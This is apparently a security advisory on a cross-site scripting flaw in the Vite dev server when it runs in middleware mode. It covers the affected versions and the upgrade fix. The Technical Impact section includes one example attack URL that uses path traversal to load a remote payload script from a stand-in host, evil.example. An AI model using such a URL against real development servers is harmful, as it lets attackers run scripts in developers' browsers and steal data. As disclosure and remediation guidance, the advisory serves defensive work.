Executive Summary
Vite, a development server, is vulnerable to a cross-site scripting (XSS) attack when running in middleware mode and serving HTML pages. An attacker can execute JavaScript code in the Vite page, allowing them to steal sensitive information or perform critical actions. This vulnerability affects Vite 8.2.1 and lower versions.
Technical Impact & Vector
When accessing a malicious site while a dev server using Vite is running, the site can load scripts in a page served by the dev server. This is possible because Vite’s SSR guide for 8.2.1 documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser’s unchanged request URL to the transform. An attacker can send a URL like <http://localhost:5173>//evil.example/payload.js?/../../package.json> to Vite, which allows the attacker to execute JavaScript code in the Vite page.
Remediation & Patch Instructions
To remediate this vulnerability, update Vite to version 8.3.0 or higher. You can do this by running the following command:
npm install vite@8.3.0
Alternatively, you can upgrade Vite using your package manager of choice.
It is also recommended to review your Vite configuration to ensure you are not using the affected setup. If you are using middleware mode, consider updating to a safer setup that does not involve passing the browser’s unchanged request URL to the transform.
Official Reference: Read the full vulnerability breakdown and advisory details directly on the National Vulnerability Database (CVE-2026-112945).
Leave a Reply